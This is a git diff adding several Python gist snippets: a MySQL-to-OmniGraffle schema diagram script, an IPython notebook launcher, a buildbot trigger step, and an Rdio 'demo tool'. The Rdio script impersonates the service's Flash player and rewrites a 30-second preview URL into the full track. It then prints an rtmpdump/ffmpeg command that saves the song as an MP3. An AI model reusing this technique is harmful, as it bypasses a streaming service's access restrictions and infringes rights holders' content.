+#			http://freespace.virgin.net/hamish.sanderson/appscript.html
+#			sudo easy_install appscript
+#			sudo easy_install MySQL-python
+#
+#		MySQL 5
+#			http://www.mysql.com
+#
+#	Warranty and liability:
+#       THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED 
+#       BY APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE 
+#       COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS 
+#       IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, 
+#       INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 
+#       MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE 
+#       RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. 
+#       SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL 
+#       NECESSARY SERVICING, REPAIR OR CORRECTION. YOU ARE LIABLE FOR 
+#       DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL 
+#       DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM 
+#       (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED 
+#       INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A 
+#       FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS)
+#
+
+# TODO use ScriptingBridge instead of appscript
+# TODO deal with constraint overlapping
+# TODO deal with multiple column foreign key
+# TODO deal with unique indexes
+# TODO order columns based on names?
+
+import sys
+import re
+from appscript import *
+# from pg import DB
+import _mysql
+import string
+
+####################################################
+#  Some default settings for OmniGraffle Graphics  #
+####################################################
+
+# Common to title and all types of columns.
+common_props = {}
+common_props[ k.shadow_vector ]			= [ 7.0, 7.0 ]
+common_props[ k.shadow_fuzziness ]		= 17.45
+common_props[ k.autosizing ]			= k.full
+common_props[ k.text_placement ]		= k.top
+common_props[ k.draws_stroke ]			= False
+common_props[ k.fill ]					= k.linear_fill
+common_props[ k.fill_color ]			= [ 1, 1, 1 ]
+common_props[ k.gradient_center ]		= [ 0.5, 0 ]
+common_props[ k.magnets ]				= [ [ 1, 0 ], [ -1, 0 ] ]
+#common_props[ k.size ]					= [ 90, 14 ]
+
+#Table Name
+table_name = common_props.copy()
+table_name[ k.gradient_color ]			= [ 0, 0, 1 ]
+
+#Primary Keys
+column_pkey = common_props.copy()
+column_pkey[ k.gradient_color ]			= [ 1, 0, 0 ]
+
+#Foreign Keys
+column_fkey = common_props.copy()
+column_fkey[ k.gradient_color ]			= [ 0, 1, 0 ]
+
+#No Key
+column_norm = common_props.copy()
+column_norm[ k.gradient_color ]			= [ 1, 1, 1 ]
+
+#Line Properties
+line_props = {}
+line_props[ k.line_type ]				= k.orthogonal
+line_props[ k.head_type ]				= "FilledArrow"
+line_props[ k.jump ]					= True
+
+###########################################
+#  The query used to gather schema data.  #
+###########################################
+
+query = """
+select  c.table_name,
+                c.column_name,
+                c.data_type,
+                c.is_nullable,
+                tc.constraint_type,
+                kcu.referenced_table_name,
+                kcu.referenced_column_name,
+                tc.constraint_name
+from    information_schema.columns as c
+                left join
+                        information_schema.key_column_usage as kcu
+                        on (
+                                c.column_name = kcu.column_name
+                                and c.table_schema = kcu.table_schema
+                                and c.table_name = kcu.table_name
+                        )
+                left join
+                        information_schema.table_constraints as tc
+                        on (
+                                        tc.constraint_name = kcu.constraint_name
+                                and tc.table_schema = kcu.table_schema
+                                and tc.table_name = kcu.table_name
+                        )
+where   c.table_schema = 'SCHEMA_NAME'
+group by
+        c.table_name,
+        c.column_name
+order   by
+                c.table_name,
+                c.ordinal_position
+"""
+
+#########################
+#  Method definitions.  #
+#########################
+
+def parseArguments():
+	"""
+		I haven't taken the time to learn getopt, so I use regular expressions.
+	"""
+	options[ 'graffle' ] = 'OmniGraffle 5'
+	options[ 'dbhost' ] = 'localhost'
+	options[ 'dbport' ] = 5432
+	options[ 'dbuser' ] = ''
+	options[ 'dbpass' ] = ''
+	options[ 'dbname' ] = ''
+	options[ 'schema' ] = 'public'
+	
+	for key in options:
+		value = options[key]
+		print "Enter %s (%s): " % (key, value)
+		data = raw_input()
+		if data: options[key] = data
+
+	options[ 'query' ] = re.compile( 'SCHEMA_NAME' ).sub( options[ 'dbname' ].lower(), query )
+
+#Get the information we need to draw from the database
+def getSchemaInfo( options, sql_tables, sql_references ):
+	"""
+		Connect to the database and retrieve our schema information.
+	"""
+        conn = _mysql.connect(host=options[ 'dbhost' ], user=options[ 'dbuser' ], db=options[ 'dbname' ], passwd=options['dbpass'])
+	conn.query( options[ 'query' ] )
+        rows = conn.store_result()
+        res = rows.fetch_row(0, 1)
+
+	for i in range( len( res ) ):
+		ftbl		= res[i][ 'table_name' ]
+		fcol		= res[i][ 'column_name' ]
+		type		= res[i][ 'data_type' ] 
+		nullable	= res[i][ 'is_nullable' ]
+		keytype		= res[i][ 'constraint_type' ]
+		ttbl		= res[i][ 'referenced_table_name' ]
+		tcol		= res[i][ 'referenced_column_name' ]
+
+		if not sql_tables.has_key( ftbl ):
+			sql_tables[ ftbl ] = []
+
+		sql_tables[ ftbl ] += [ [ fcol, type, nullable, keytype ] ] 
+
+		if keytype == 'FOREIGN KEY' :
+			sql_references += [ [ ftbl, fcol, ttbl, tcol ] ]
+
+#Create a table in OmniGraffle from database info
+def createOGTableFromSQLTable( graffle, name, sql_table, og_tables ):
+	"""
+		Create a table in OmniGraffle using data from the database
+	"""
+	shapes = []
+	graphics = graffle.windows[1].document.canvases[1].graphics 
+
+	graphics.end.make( new=k.shape, with_properties=table_name )
+	shape = graphics.last.get()
+	shape.text.set( name )
+	shapes += [ shape ]
+
+	use_props = None
+	for i in range( len( sql_table ) ):
+
+		if sql_table[i][3] == 'PRIMARY KEY' :
+			use_props = column_pkey
+		elif sql_table[i][3] == 'FOREIGN KEY' :
+			use_props = column_fkey
+		else :
+			use_props = column_norm
+
+		graphics.end.make( new=k.shape, with_properties=use_props )
+		shape = graphics.last.get()
+		shape.text.set( sql_table[i][0] ) 
+		shapes += [ shape ]
+
+	og_tables[ name.upper() ] = graffle.assemble( shapes, table_shape=[len( sql_table)+1,1] )
+	og_tables[ name.upper() ].slide( by={ k.x:25,k.y:25} )
+
+#Get the source and destination graphics for a line to be drawn
+def getOGGraphicsFromReference( sql_reference, og_tables ) :
+	ftbl = og_tables[ sql_reference[0].upper() ]
+	fg = None
+	for col in ftbl.columns[1].graphics.get() :
+		if( col.text.get() == sql_reference[1] ) :
+			fg = col.get() ;
+			break ;
+	else:
+		raise RuntimeError, "Failed to find graphic for " + sql_reference[0] + "( " + sql_reference[1] + " )"
+
+	ttbl = og_tables[ sql_reference[2].upper() ]
+	tg = None
+	for col in ttbl.columns[1].graphics.get() :
+		if( col.text.get() == sql_reference[3] ) :
+			tg = col.get() ;
+			break ;
+	else:
+		raise RuntimeError, "Failed to find graphic for " + sql_reference[2] + "( " + sql_reference[3] + " )"
+
+	return [ fg, tg ]
+
+#Draw a line representing a reference in the database.
+def createOGLineFromReference( graffle, sql_reference, og_tables ) :
+	tgs = getOGGraphicsFromReference( sql_reference, og_tables )
+	tgs[0].connect( to=tgs[1], with_properties=line_props )
+
+#####################
+#  Run the script.  #
+#####################
+
+options = {}
+
+sql_tables = {}
+sql_references = []
+
+og_tables = {}
+
+parseArguments()
+graffle = app( options[ 'graffle' ] )
+getSchemaInfo( options, sql_tables, sql_references )
+
+for key in sql_tables.keys() :
+	createOGTableFromSQLTable( graffle, key, sql_tables[ key ], og_tables ) 
+
+graffle.windows[1].document.canvases[1].layout_info.properties.set( { k.type:k.force_directed} )
+graffle.windows[1].document.canvases[1].layout()
+
+for i in range( len( sql_references ) ) :
+	createOGLineFromReference( graffle, sql_references[ i ], og_tables )
diff --git a/hard-gists/1495011/._snippet.py b/hard-gists/1495011/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1495011/._snippet.py differ
diff --git a/hard-gists/1495011/snippet.py b/hard-gists/1495011/snippet.py
new file mode 100644
index 00000000..395a8d9d
--- /dev/null
+++ b/hard-gists/1495011/snippet.py
@@ -0,0 +1,108 @@
+#!/bin/env python
+#
+# Demo tool to generate the rtmpdump(1) command for streaming a song from Rdio.
+
+import httplib
+from optparse import OptionParser
+from os.path import basename
+from pprint import pprint
+from pyamf.remoting.client import RemotingService
+from rdioapi import Rdio
+import sys
+from urlparse import urlparse
+
+# URL hosting the Flash player
+FLASH_PLAYER_URL = 'http://www.rdio.com/api/swf'
+
+# API endpoint for AMF
+AMF_ENDPOINT = 'http://www.rdio.com/api/1/amf/'
+
+# Exit with a message
+def fail(msg):
+    print >> sys.stderr, '%s: %s' % (basename(sys.argv[0]), msg)
+    sys.exit(1)
+
+# Recursively resolve the given URL, following 3xx redirects. Returns final URL
+# that did not result in a redirect
+def resolve_url(url):
+    url = FLASH_PLAYER_URL
+    while True:
+        pr = urlparse(url)
+
+        hc = httplib.HTTPConnection(pr.hostname)
+        hc.request('GET', pr.path)
+        hr = hc.getresponse()
+        
+        if hr.status / 100 == 3:
+            url = hr.getheader('location')
+        else:
+            return url
+
+op = OptionParser(
+    usage='%prog [options] <key> <secret> <query>',
+    description='''Emit an invocation of rtmpdump(1) that will fetch an FLV
+file containing the audio to the first match of the given query to the Rdio
+API.''')
+opts, args = op.parse_args()
+
+if len(args) < 3:
+    op.error('missing required arguments')
+
+key = args[0]
+secret = args[1]
+query = ' '.join(args[2:])
+
+# Figure out the URL for the Flash player that we're going to 
+# impersonate
+flash_url = resolve_url(FLASH_PLAYER_URL)
+
+# Create a REST API client
+ra = Rdio(key, secret, {})
+
+# Create an AMF API client
+svc = RemotingService(AMF_ENDPOINT, referer=flash_url, amf_version=3)
+svc.addHeader('Auth', chr(5))
+rdio_svc = svc.getService('rdio')
+
+# Search for the track to play
+results = ra.search(query=query, types=','.join(['Track']),
+    count=1)['results']
+if not results:
+    fail('no results found')
+
+# Get a playback token
+token = ra.getPlaybackToken(domain='std.in')
+
+# Get playback information
+#
+# The end of the 'surl' value initially points to a 0:30 sample. Replace it to
+# get the full track.
+pi = rdio_svc.getPlaybackInfo({
+    'domain': 'std.in',
+    'playbackToken': token,
+    'manualPlay': False,
+    'playerName': 'api_544189',
+    'type': 'flash',
+    'key': results[0]['key']})
+if not pi:
+    fail('failed to get playback info')
+
+auth = pi['auth']
+surl = pi['surl'].replace('30s-96', 'full-192')
+
+# Use rtmpdump(1) and ffmpeg(1) to grab the FLV file and then transcode it into
+# an MP3
+print 'rtmpdump ' \
+        '-p "http://blog.std.in/" ' \
+        '--app "ondemand?%s" ' \
+        '-r "rtmpe://%s/ondemand/mp3:%s" ' \
+        '-W "%s" | ' \
+    'ffmpeg ' \
+        '-f flv ' \
+        '-i - ' \
+        '-f mp3 ' \
+        'foo.mp3' % (
+    auth,
+    'cp102543.edgefcs.net:1935',
+    surl,
+    flash_url)
\ No newline at end of file
diff --git a/hard-gists/1497850/._snippet.py b/hard-gists/1497850/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1497850/._snippet.py differ
diff --git a/hard-gists/1497850/snippet.py b/hard-gists/1497850/snippet.py
new file mode 100644
index 00000000..e6aee6ff
--- /dev/null
+++ b/hard-gists/1497850/snippet.py
@@ -0,0 +1,285 @@
+"""==============================
+Branded IPython Notebook Launcher
+=================================
+
+Executing this module will create an overlay over ipython notebooks own static
+files and templates and overrides static files and templates and copies over all
+example notebooks into a temporary folder and launches the ipython notebook server.
+
+You can use this to offer an interactive tutorial for your library/framework/...
+
+
+To use this script properly, create three folders in the same folder this script
+resides in:
+
+    parent
+    |
+    +- this_script.py
+    |
+    +- templates/
+    |  |
+    |  ...
+    |
+    +- static/
+    |  |
+    |  ...
+    |
+    |+ notebooks/
+    |  |
+    |  ...
+
+
+The folders templates and static may be empty, but must exist. Read the
+docstring of merge_dirs to find out how these folders are treated.
+
+If you put those folders anywhere else, change the variables in the
+Configuration section below.
+
+In your setup.py you can add the following to your entry_points:
+
+      [console_scripts]
+      my_framework_tutorial = framework.examples.notebooks.this_script:launch_notebook_server
+
+and a binary will be created for the user's system that launches this script.
+
+Additionally, add these package_data entries, so that the static files
+get installed, too:
+
+      package_data = {
+          'framework.examples.notebooks':
+              ['notebooks/*', 'static/**/*', 'templates/*'],
+          }
+
+
+License
+-------
+
+Copyright (c) 2011, Timo Paulssen
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+    * Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * The name of the author may not be used to endorse or promote products
+      derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL TIMO PAULSSEN BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+Revision History
+----------------
+
+   1.0 2011-12-19
+        First release.
+
+   1.1 2011-12-20
+        Don't use os.system for starting the notebook.
+        Cleaner clean-up.
+"""
+
+import os
+import shutil
+import tempfile
+from itertools import izip
+
+try:
+    from IPython.frontend.html.notebook import notebookapp
+except ImportError:
+    print "You don't seem to have IPython installed, or the dependencies of "
+    print "ipython notebook are not met."
+
+    raise
+
+"""==================
+Configuration section
+=====================
+"""
+
+"""This is the base path in which the modified templates/, static/ and the
+example notebooks can be found:"""
+BASE_PATH = os.path.dirname(__file__)
+
+
+"""By default, the template, static and notebooks folder will be assumed inside
+BASE_PATH:"""
+TEMPLATE_PATH = os.path.join(BASE_PATH, "templates")
+STATIC_PATH = os.path.join(BASE_PATH, "static")
+EXAMPLES_PATH = os.path.join(BASE_PATH, "notebooks")
+
+
+"""These are the folders from which the original templates and static files are
+taken. You should not have to change this. It will usually be correct."""
+NOTEBOOK_BASE_PATH = os.path.dirname(notebookapp.__file__)
+NOTEBOOK_TEMPLATE_PATH = os.path.join(NOTEBOOK_BASE_PATH, "templates")
+NOTEBOOK_STATIC_PATH = os.path.join(NOTEBOOK_BASE_PATH, "static")
+
+"""This name will be the prefix for the temporary folder"""
+PROJECT_NAME = "my_pretty_framework"
+
+
+
+"""These extra arguments go directly between the tornado arguments and the
+arguments passed to this script on the commandline:"""
+#notebook_extra_args = ["--gui=qt"] # for example
+notebook_extra_args = [""]
+
+
+"""=========
+Code section
+============
+"""
+
+def merge_dirs(base, overlay, target, preserve_originals=False):
+    """This function merges a base and an overlay folder into a target folder.
+
+    If a folder exists in base or overlay only, it will be symlinked
+    into the target.
+
+    If a folder exists in both, the folder is created in the target and
+    merging continues with the contents of both folders.
+
+    If a file exists in base or overlay only, it will be symlinked from base.
+
+    If a file exists in both and preserve_originals is True, the file from
+    base will be symlinked here with a original_ prefix. The file from the
+    overlay will be symlinked into the target.
+    """
+
+    def replace_prefix(prefix, path, new_prefix):
+        assert path.startswith(prefix)
+        if path.startswith("/"):
+            path = path[1:]
+        return os.path.join(new_prefix, path[len(prefix):])
+
+    base_w = os.walk(base, followlinks=True)
+    overlay_w = os.walk(overlay, followlinks=True)
+
+    from_base_dirs = []
+    from_over_dirs = []
+    from_base_files = []
+    from_over_files = []
+    preserved_originals = []
+
+    # walk the base and overlay trees in parallel
+    for (base_t, over_t) in izip(base_w, overlay_w):
+        (base_path, base_dirs, base_files) = base_t
+        (over_path, over_dirs, over_files) = over_t
+
+        # don't recurse into dirs that are only in base or only in overlay.
+        # instead, just symlink them.
+        # this keeps both walkers in sync.
+        for subdir in set(base_dirs[:] + over_dirs[:]):
+            if subdir not in over_dirs:
+                base_dirs.remove(subdir)
+                from_base_dirs.append(os.path.join(base_path, subdir))
+            elif subdir not in base_dirs:
+                over_dirs.remove(subdir)
+                from_over_dirs.append(os.path.join(base_path, subdir))
+
+        for fn in set(base_files[:] + over_files[:]):
+            if fn in over_files and fn in base_files and preserve_originals:
+                preserved_originals.append(os.path.join(base_path, fn))
+            if fn not in over_files:
+                from_base_files.append(os.path.join(base_path, fn))
+            else:
+                from_over_files.append(os.path.join(over_path, fn))
+
+    # link full directories over
+    for source, dirlist in ((base, from_base_dirs), (overlay, from_over_dirs)):
+        for dir_link in dirlist:
+            os.symlink(dir_link, replace_prefix(source, dir_link, target))
+
+    # link files over.
+    for source, filelist in ((base, from_base_files),
+                             (overlay, from_over_files),
+                             (base, preserved_originals)):
+        for file_link in filelist:
+            target_file = replace_prefix(source, file_link, target)
+
+            # preserved originals get an original_ prefix
+            if filelist is preserved_originals:
+                tfp, tfn = os.path.dirname(target_file), os.path.basename(target_file)
+                target_file = os.path.join(tfp, "original_" + tfn)
+
+            parent_dir = os.path.dirname(target_file)
+            if not os.path.exists(parent_dir):
+                os.makedirs(parent_dir)
+            os.symlink(file_link, target_file)
+
+
+def create_overlay():
+    """This function copies all files from the source to the target and then
+    links all missing files from IPython itself to the target.
+
+    Templates that are overridden will be linked to orig_{filename}, so that
+    changes to templates can just use tornadowebs own template extension scheme.
+
+    It returns a tuple with the temporary path as well as a dictionary with keys
+    'template_path' and 'static_path', which are absolute paths to the merged
+    templates and static files."""
+
+    # create the temporary folder where overlay and base are merged
+    path = tempfile.mkdtemp(prefix=PROJECT_NAME + "_tutorial")
+
+    template_path = os.path.join(path, "templates")
+    static_path = os.path.join(path, "static")
+    os.mkdir(template_path)
+    os.mkdir(static_path)
+
+    merge_dirs(NOTEBOOK_TEMPLATE_PATH, TEMPLATE_PATH, template_path, True)
+    merge_dirs(NOTEBOOK_STATIC_PATH, STATIC_PATH, static_path)
+
+    return path, {'template_path': template_path, 'static_path': static_path}
+
+def copy_example_notebooks(target_path):
+    shutil.copytree(EXAMPLES_PATH, os.path.join(target_path, "notebooks"))
+
+def launch_notebook_server():
+    import sys
+    import signal
+    base_path, settings = create_overlay()
+    copy_example_notebooks(base_path)
+
+    print
+    print "running notebook overlay from", base_path
+    print
+    print "hit ctrl-c to exit the tutorial"
+    print
+
+    app = notebookapp.NotebookApp()
+    app.initialize(argv=[
+              '''--NotebookApp.webapp_settings=%s''' % (settings),
+              '''--NotebookManager.notebook_dir="%s"''' % (os.path.join(base_path, "notebooks"))] +
+              notebook_extra_args +
+              sys.argv[1:])
+
+    # somewhere in initialize, the SIGINT handler gets set to be ignored.
+    # we have to undo that
+    signal.signal(signal.SIGINT, signal.default_int_handler)
+
+    try:
+        app.start()
+    except KeyboardInterrupt:
+        pass
+    finally:
+        print
+        print "deleting", base_path
+        shutil.rmtree(base_path)
+
+    print "goodbye"
+
+if __name__ == "__main__":
+    launch_notebook_server()
diff --git a/hard-gists/14a8d6bf4783f4704c8a/._snippet.py b/hard-gists/14a8d6bf4783f4704c8a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/14a8d6bf4783f4704c8a/._snippet.py differ
diff --git a/hard-gists/14a8d6bf4783f4704c8a/snippet.py b/hard-gists/14a8d6bf4783f4704c8a/snippet.py
new file mode 100644
index 00000000..2ba7d544
--- /dev/null
+++ b/hard-gists/14a8d6bf4783f4704c8a/snippet.py
@@ -0,0 +1,327 @@
+import logging
+import os
+
+from twisted.internet import defer
+
+from buildbot.schedulers.triggerable import Triggerable
+from buildbot.status.results import EXCEPTION
+from buildbot.status.results import FAILURE
+from buildbot.status.results import SKIPPED
+from buildbot.status.results import SUCCESS
+from cactus.parameters.properties import BuildProperties
+
+from cactus.steps.trigger_steps import SafeTrigger
+
+
+cactusLog = logging.getLogger(__name__)
+
+
+class SimpleTriggerStep(SafeTrigger, StepUtilMixin):
+
+    '''
+    I am a step which goal is to ease the writing of trigger step. A Trigger is a special buildbot
+    step that received a list of Buildbot "Scheduler Names" and trigger them, which in turn will
+    launch new builds.
+
+    The main differences with the buildbot Trigger are:
+
+    - accept empty schedulerName in the __init__ function. Use addRuntimeSchedulerNames to add
+      scheduler name just before executing the trigger
+    - accept scheduler name to be directly underneath the class initialization, like "description"
+      and descriptionDone
+    - if an empty list of trigger is given, the step will ends in "SKIPPED" statement
+    - postExecute allows you to add nice status messages and logs for the user
+    - preExecute allows you to perform some actions before executing the main trigger.
+
+    It will automatically set the step status to self.description on start, and to
+    self.descriptionDone on SUCCESS. You also have self.descriptionSkipped in the case of empty
+    scheduler name list.
+
+    Samples
+    -------
+
+    This executes a deferred and set the result according to this returned value.
+
+    .. code-block:: python
+
+        class ASimpleTiggerStep(SimpleTriggerStep):
+
+            @defer.inlineCallbacks
+            def preExecute(self):
+                # do many stuff
+
+                yield oneDeffered()
+
+                self.importantData = stuff
+
+            def addRuntimeSchedulerNames(self):
+                return ["scheduler-{}".format(self.importantData)]
+
+            def postExecute(self, res):
+                if res = FAILURE and the_right_condition:
+                    res = SUCCESS
+                return res
+    '''
+    name = "SimpleTrigger"
+    description = None
+    descriptionDone = None
+    descriptionSkipped = None
+    updateSourceStamp = None
+
+    def __init__(self, *args, **kwargs):
+        # Trigger.__init__ wont accept empty schedulerNames. So we cheat it and we will remove the
+        # "dummy" trigger afterwards.
+        #
+        # We also need to handle the case where schedulerNames was intentionnally set to None in the
+        # kwargs
+        default_scheduler_names = kwargs.pop("schedulerNames", None)
+        scheduler_names = (getattr(self, 'schedulerNames', None) or
+                           default_scheduler_names) or ['dummy']
+        update_source_stamp = kwargs.pop("updateSourceStamp", self.updateSourceStamp)
+        SafeTrigger.__init__(self, *args,
+                             schedulerNames=scheduler_names,
+                             updateSourceStamp=update_source_stamp,
+                             **kwargs)
+        self.wanted_results = None
+
+    def start(self):
+        # Do not use inlineCallback to have the more complete callback when an exception occurs.
+
+        # Ensure the stdio log is created at the beginning of the step
+        self.createLogStdio()
+
+        # don't use inlineCallbacks to ensure displaying the full traceback in the error message
+        if self.description is not None:
+            self.updateStepAndBuildStatus(self.description)
+        d = defer.maybeDeferred(self.preExecute)
+
+        def cbPreExecute(res):
+            if res in (FAILURE, EXCEPTION, SKIPPED):
+                if res == SKIPPED and self.descriptionSkipped is not None:
+                    self.updateStepAndBuildStatus(self.descriptionSkipped)
+                self.end(res)
+                return
+            return defer.maybeDeferred(self.addRuntimeSchedulerNames)
+
+        def cbAddRuntimeTriggerables(res):
+            if self.ended:
+                return
+
+            # Handle the case where one scheduler name is None here, since it corrupts the pickles
+            # when Trigger (buildbot's) update its status with:
+            #
+            #   self.step_status.setText(['no scheduler:'] + unknown_schedulers)
+            #
+            # and so when unknown_schedulers == [None]
+            #
+            # => This causes the following error:
+            #
+            #   exceptions.TypeError: sequence item 3: expected string, NoneType found
+            #
+            # in builbot.status.web.base, so the UI is blowed.
+            if any(sched is None for sched in self.schedulerNames):
+                raise ValueError("One of the scheduler name is None. "
+                                 "All provided schedulers name are: {!r}"
+                                 .format(self.schedulerNames))
+
+            runtime_scheduler_names = res
+            if runtime_scheduler_names and not isinstance(runtime_scheduler_names, list):
+                runtime_scheduler_names = [runtime_scheduler_names]
+
+            if self.schedulerNames == ["dummy"]:
+                self.schedulerNames = []
+
+            # Don't test only against "None", empty list has no sense here
+            if runtime_scheduler_names:
+                self.schedulerNames.extend(runtime_scheduler_names)
+
+            if not self.schedulerNames:
+                if self.descriptionSkipped is not None:
+                    self.updateStepAndBuildStatus(self.descriptionSkipped)
+                else:
+                    self.updateStepAndBuildStatus("No build to trigger")
+                self.end(SKIPPED)
+                return
+
+            cactusLog.debug("Create a Simple trigger with: %r", self.schedulerNames)
+
+            self._printErrorOutputOnUnknownScheduler()
+            return defer.maybeDeferred(self.setBuildProperties)
+
+        def cbSetBuildProperties(new_properties):
+            if self.ended:
+                return
+
+            if new_properties is not None:
+                if not isinstance(new_properties, BuildProperties):
+                    raise TypeError("setBuildProperties shall return an instance of "
+                                    "BuildProperties")
+                self.set_properties = new_properties
+                # Rendering properties into a dictionary will be automatically done within
+                # SafeTrigger.start when needed.
+                self.set_properties.getRenderingFor(self)
+
+            # Let Trigger.start fails if required
+            SafeTrigger.start(self)
+
+        def cbStart(_):
+            if not self.ended:
+                # If the trigger.start returned without call to self.end, it is a case of success
+                self.end(SUCCESS)
+
+            # self.ended should have been called once here
+            return defer.maybeDeferred(self.postExecute, self.wanted_results)
+
+        def cbPostExecute(res):
+            if res is not None:
+                # Overwriting result
+                self.wanted_results = res
+
+        def cbAfterAll(_):
+            # Set description to descriptionDone if present, otherwize let the default
+            # "triggered a, triggered b"
+            if self.descriptionDone is not None:
+                # we test against None to allow empty string if the user wants so
+                self.updateStepAndBuildStatus(self.descriptionDone)
+            self.finished(self.wanted_results)
+
+        def errback(failure):
+            cactusLog.exception("exception received during step execution:")
+            self.addLogError(indent(str(failure), indent="    ").rstrip(),
+                             stdio=True, writeToLog=True)
+            # Call fail safe cleanup function
+            self.failSafeCleanup()
+
+            # Fails the build
+            self.failed(failure)
+
+            # override status set in self.failed with the text of the exception
+            #
+            self.updateStepAndBuildStatus(failure.getErrorMessage())
+
+        # First execute ``preExecute``,
+        #  then execute ``addRuntimeTriggerables``,
+        #  then execute ``start``,
+        #  then execute ``postExecute``,
+
+        d.addCallbacks(cbPreExecute, errback)
+        d.addCallbacks(cbAddRuntimeTriggerables, errback)
+        d.addCallbacks(cbSetBuildProperties, errback)
+        d.addCallbacks(cbStart, errback)
+        d.addCallbacks(cbPostExecute, errback)
+        d.addCallbacks(cbAfterAll, errback)
+        return d
+
+    def failSafeCleanup(self):
+        '''
+        I am called when an exception or an failure occurs. I should be used in order to clean some
+        stuff that cannot be automatically deleted.
+
+        I am a normal routine and NOT a inlineCallbacks.
+
+        I am NOT called during nominal operations.
+
+        Override me in order to implement your clean up procedure. Ignore if you don't have any.
+
+        For instance:
+          - pending txrequests
+          - timeout mixin
+        '''
+        pass
+
+    def preExecute(self):
+        '''
+        I am called BEFORE the execution of the triggers.
+
+        I can be a deferred or not.
+
+        Return value: SUCCESS and WARNING are both allowed and provoke the continuation of the
+                      step. EXCEPTION, FAILURE and SKIPPED both stop the execution.
+        '''
+        return SUCCESS
+
+    def postExecute(self, res):
+        '''
+        I am called AFTER the execution of the trigger.
+
+        You are reasponsible for acting accordingly in every case. The "res" parameter holds the
+        return status (SUCCES/FAILURE/EXCEPTION) of the step up to now.
+
+        You typically want to propagate the "res" value, overriding it eventually, so you can turn a
+        FAILURE into WARNINGS under some conditions, for instance.
+
+        I can be a deferred or not.
+
+        Return value: SUCCESS and SKIPPED are both allowed and provoke the continuation of the step.
+        EXCEPTION and FAILURE both stop the execution. If None is returned, the initial res is used.
+
+        Note: It's important to understand that the return value of the postExecute method will be
+        used to set the result of the step. If you don't want to change the execution state after
+        postExecute, simply propagate "res".
+        '''
+        return res
+
+    def addRuntimeSchedulerNames(self):
+        '''
+        Override me for adding scheduler when "start" is executed.
+
+        I can be a normal function or a deferred (maybeDeferred is used to call me)
+
+        I can return either a simple scheduler name string or a list of scheduler name strings.
+        '''
+        return []
+
+    def setBuildProperties(self):
+        '''
+        Override me to set the trigger properties just after "start" has been called.
+
+        I can be a normal function or a deferred (maybeDeferred is used to call me)
+
+        I shall return None or an instance of BuildProperties with the properties to transfer
+        from the current build
+        '''
+        return None
+
+    def end(self, results):
+        '''
+        This function is an override of the Trigger.end function. Do not use it directly.
+        '''
+        # self.ended has been created in Trigger.__init__
+        if not self.ended:
+            self.ended = True
+            self.wanted_results = results
+
+    def _getTriggerableSchedulerName(self):
+        '''
+        Return list of available triggerable scheduler name.
+        '''
+        return sorted([x.name for x in self.build.builder.botmaster.parent.allSchedulers()
+                       if isinstance(x, Triggerable)])
+
+    def _printErrorOutputOnUnknownScheduler(self):
+        '''
+            This check is also done in Trigger.start, but we do it here in order to catch the "bad
+            scheduler name" error earlier and dump a more developer-friendly output.
+
+            Testing that the name of the scheduler is valid in the system is not possible right now
+            in unit tests, so we need fail and retry once the step is integrated.
+
+            This ensure the developer has all the information right in front of his eyes when it
+            fails.
+        '''
+        all_scheduler_names = self._getTriggerableSchedulerName()
+        error = False
+        for schname in self.schedulerNames:
+            if schname not in all_scheduler_names:
+                self.addLogError("Invalid scheduler name: {!r}".format(schname))
+                error = True
+        if error:
+            self.addLogError("List of all available triggerable schedulers: ", stdio=False)
+            for scheduler_name in all_scheduler_names:
+                self.addLogError(" - {!r}".format(scheduler_name), stdio=False)
+
+    def getWorkdir(self):
+        '''
+        Method needed to be able to use some method from StepUtilMixin.
+        '''
+        return os.path.join(self.getProperty("workdir"), self.build.workdir)
diff --git a/hard-gists/14f34c2b8153d9b4f336df8535b3416a/._snippet.py b/hard-gists/14f34c2b8153d9b4f336df8535b3416a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/14f34c2b8153d9b4f336df8535b3416a/._snippet.py differ
